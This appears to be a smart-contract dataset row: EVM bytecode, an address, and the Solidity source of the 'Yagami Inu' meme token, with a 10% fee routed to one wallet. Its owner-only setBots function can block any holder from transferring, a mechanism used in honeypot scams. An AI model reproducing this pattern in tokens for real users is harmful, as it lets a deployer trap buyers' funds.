0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063715018a6116100de578063c4996f5111610097578063e679e27c11610071578063e679e27c1461071a578063ed82193c14610738578063f9f92be414610790578063fd2dbb0e146107ea5761018e565b8063c4996f5114610656578063c82a8fed14610674578063dd62ed3e146106a25761018e565b8063715018a6146104f55780638da5cb5b146104ff57806395d89b4114610533578063a9059cbb146105b6578063bce87b331461061a578063bef18a19146106385761018e565b8063313ce5671161014b5780634c4be8a6116101255780634c4be8a61461044157806356e0ec721461045f5780636b0a26d21461047f57806370a082311461049d5761018e565b8063313ce5671461039457806336fed975146103b557806349bd5a5e1461040d5761018e565b806306fdde0314610193578063095ea7b3146102165780631694505e1461027a57806318160ddd146102ae5780631c8e1179146102cc57806323b872dd14610310575b600080fd5b61019b6107f4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101db5780820151818401526020810190506101c0565b50505050905090810190601f1680156102085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102626004803603604081101561022c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610896565b60405180821515815260200191505060405180910390f35b6102826108b4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102b66108da565b6040518082815260200191505060405180910390f35b61030e600480360360208110156102e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e4565b005b61037c6004803603606081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a07565b60405180821515815260200191505060405180910390f35b61039c610ae0565b604051808260ff16815260200191505060405180910390f35b6103f7600480360360208110156103cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af7565b6040518082815260200191505060405180910390f35b610415610b0f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610449610b35565b6040518082815260200191505060405180910390f35b610467610b41565b60405180821515815260200191505060405180910390f35b610487610b54565b6040518082815260200191505060405180910390f35b6104df600480360360208110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b5a565b6040518082815260200191505060405180910390f35b6104fd610c18565b005b610507610d9e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61053b610dc7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057b578082015181840152602081019050610560565b50505050905090810190601f1680156105a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610602600480360360408110156105cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e69565b60405180821515815260200191505060405180910390f35b610622610e87565b6040518082815260200191505060405180910390f35b610640610e8d565b6040518082815260200191505060405180910390f35b61065e610e93565b6040518082815260200191505060405180910390f35b6106a06004803603602081101561068a57600080fd5b8101908080359060200190929190505050610e99565b005b610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc5565b6040518082815260200191505060405180910390f35b61072261104c565b6040518082815260200191505060405180910390f35b61077a6004803603602081101561074e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611052565b6040518082815260200191505060405180910390f35b6107d2600480360360208110156107a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061106a565b60405180821515815260200191505060405180910390f35b6107f261108a565b005b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561088c5780601f106108615761010080835404028352916020019161088c565b820191906000526020600020905b81548152906001019060200180831161086f57829003601f168201915b5050505050905090565b60006108aa6108a3611106565b848461110e565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b6108ec611106565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610a14848484611305565b610ad584610a20611106565b610ad08560405180606001604052806028815260200161220d60289139600b60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a86611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4d9092919063ffffffff16565b61110e565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600a6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b670de0b6b3a764000081565b601260009054906101000a900460ff1681565b60075481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bbc576011549050610c13565b610c10600954600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110bc90919063ffffffff16565b90505b919050565b610c20611106565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e5f5780601f10610e3457610100808354040283529160200191610e5f565b820191906000526020600020905b815481529060010190602001808311610e4257829003601f168201915b5050505050905090565b6000610e7d610e76611106565b8484611305565b6001905092915050565b600e5481565b600f5481565b60095481565b610ea1611106565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001811015610fbb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806121c0602c913960400191505060405180910390fd5b80600e8190555050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60105481565b600d6020528060005260406000206000915090505481565b600c6020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900460ff166110ba576001601260006101000a81548160ff0219169083151502179055505b565b60006110fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b0d565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061227d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561121a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061219e6022913960400191505060405180910390fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806122586025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611411576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120f76023913960400191505060405180910390fd5b6000811161146a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061216e6030913960400191505060405180910390fd5b611472610d9e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114e057506114b0610d9e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a3a5760006115116064611503600e54600854611bd390919063ffffffff16565b6110bc90919063ffffffff16565b90508082111561156c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806121476027913960400191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146118a257600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116655750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806122356023913960400191505060405180910390fd5b6000600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148061175a575042611758601054600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5990919063ffffffff16565b105b6117cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f45524332303a205478206e6f7420616c6c6f776564207965742e00000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118785750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561188f5761188a8484846000611ce1565b61189d565b61189c8484846000611ce1565b5b611a34565b601260009054906101000a900460ff1661190f576001600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061191984610b5a565b1115611970576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d81526020018061211a602d913960400191505060405180910390fd5b42600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119c18484846000611ce1565b60006119ed60646119df600f54600854611bd390919063ffffffff16565b6110bc90919063ffffffff16565b905060006119fa85610b5a565b90506000611a118583611c5990919063ffffffff16565b90508282108015611a2157508281105b15611a3057611a2f85612046565b5b5050505b50611a48565b611a478383836000611ce1565b5b505050565b6000838311158290611afa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611abf578082015181840152602081019050611aa4565b50505050905090810190601f168015611aec5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611bb9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b7e578082015181840152602081019050611b63565b50505050905090810190601f168015611bab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611bc557fe5b049050809150509392505050565b600080831415611be65760009050611c53565b6000828402905082848281611bf757fe5b0414611c4e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121ec6021913960400191505060405180910390fd5b809150505b92915050565b600080828401905083811015611cd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d5757611d4c82601154611c5990919063ffffffff16565b601181905550611dca565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611dc957611dc2826011546120ac90919063ffffffff16565b6011819055505b5b6000611df26064611de48486611bd390919063ffffffff16565b6110bc90919063ffffffff16565b90506000611e0982856120ac90919063ffffffff16565b90506000611e2260095486611bd390919063ffffffff16565b90506000611e3b60095484611bd390919063ffffffff16565b9050611e8f82600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ac90919063ffffffff16565b600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f2481600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5990919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600084111561203c57600073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5050505050505050565b61206e61205d6005836110bc90919063ffffffff16565b600854611c5990919063ffffffff16565b6008819055506120a36008546a084595161401484a0000006000198161209057fe5b06600019036110bc90919063ffffffff16565b60098190555050565b60006120ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a4d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a2063757272656e742062616c616e6365206578636565647320746865206d6178206c696d69742e45524332303a20616d6f756e74206578636565647320746865206d6178207478206c696d69742e45524332303a205472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206d6178207478206c696d69742073686f756c642062652067726561746572207468616e2031536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a20746865207472616e73616374696f6e2077617320626c6f636b65642e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220863d56e2030e8d04cd43968bb98307a15cb6efb9e674f12bc66c23b0b1d60c7064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,313
0x54d0e9b4dc79c56007b892d31a8cdae43fd03770
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ /** Let the anime season begin by getting $Yagami Inu! Tg: https://t.me/Yagami_eth **/ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract YAGAMI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Yagami Inu"; string private constant _symbol = "YAGAMI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xfD55Aee46A03bA5304923eEB77A53419985AebC8); _feeAddrWallet2 = payable(0xfD55Aee46A03bA5304923eEB77A53419985AebC8); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c8578063b515566a146102e8578063c3c8cd8014610308578063c9567bf91461031d578063dd62ed3e1461033257600080fd5b806370a082311461023c578063715018a61461025c5780638da5cb5b1461027157806395d89b411461029957600080fd5b8063273123b7116100d1578063273123b7146101c9578063313ce567146101eb5780635932ead1146102075780636fc3eaec1461022757600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a815269596167616d6920496e7560b01b60208201525b60405161014a91906117d8565b60405180910390f35b34801561015f57600080fd5b5061017361016e366004611681565b610378565b604051901515815260200161014a565b34801561018f57600080fd5b50683635c9adc5dea000005b60405190815260200161014a565b3480156101b557600080fd5b506101736101c4366004611641565b61038f565b3480156101d557600080fd5b506101e96101e43660046115d1565b6103f8565b005b3480156101f757600080fd5b506040516009815260200161014a565b34801561021357600080fd5b506101e9610222366004611773565b61044c565b34801561023357600080fd5b506101e9610494565b34801561024857600080fd5b5061019b6102573660046115d1565b6104c1565b34801561026857600080fd5b506101e96104e3565b34801561027d57600080fd5b506000546040516001600160a01b03909116815260200161014a565b3480156102a557600080fd5b50604080518082019091526006815265594147414d4960d01b602082015261013d565b3480156102d457600080fd5b506101736102e3366004611681565b610557565b3480156102f457600080fd5b506101e96103033660046116ac565b610564565b34801561031457600080fd5b506101e9610608565b34801561032957600080fd5b506101e961063e565b34801561033e57600080fd5b5061019b61034d366004611609565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610385338484610a01565b5060015b92915050565b600061039c848484610b25565b6103ee84336103e9856040518060600160405280602881526020016119a9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e72565b610a01565b5060019392505050565b6000546001600160a01b0316331461042b5760405162461bcd60e51b81526004016104229061182b565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104765760405162461bcd60e51b81526004016104229061182b565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b457600080fd5b476104be81610eac565b50565b6001600160a01b03811660009081526002602052604081205461038990610f31565b6000546001600160a01b0316331461050d5760405162461bcd60e51b81526004016104229061182b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610385338484610b25565b6000546001600160a01b0316331461058e5760405162461bcd60e51b81526004016104229061182b565b60005b8151811015610604576001600660008484815181106105c057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105fc8161193e565b915050610591565b5050565b600c546001600160a01b0316336001600160a01b03161461062857600080fd5b6000610633306104c1565b90506104be81610fb5565b6000546001600160a01b031633146106685760405162461bcd60e51b81526004016104229061182b565b600f54600160a01b900460ff16156106c25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610422565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ff3082683635c9adc5dea00000610a01565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073857600080fd5b505afa15801561074c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077091906115ed565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b857600080fd5b505afa1580156107cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f091906115ed565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083857600080fd5b505af115801561084c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087091906115ed565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108a0816104c1565b6000806108b56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091857600080fd5b505af115801561092c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061095191906117ab565b5050600f8054678ac7230489e8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c957600080fd5b505af11580156109dd573d6000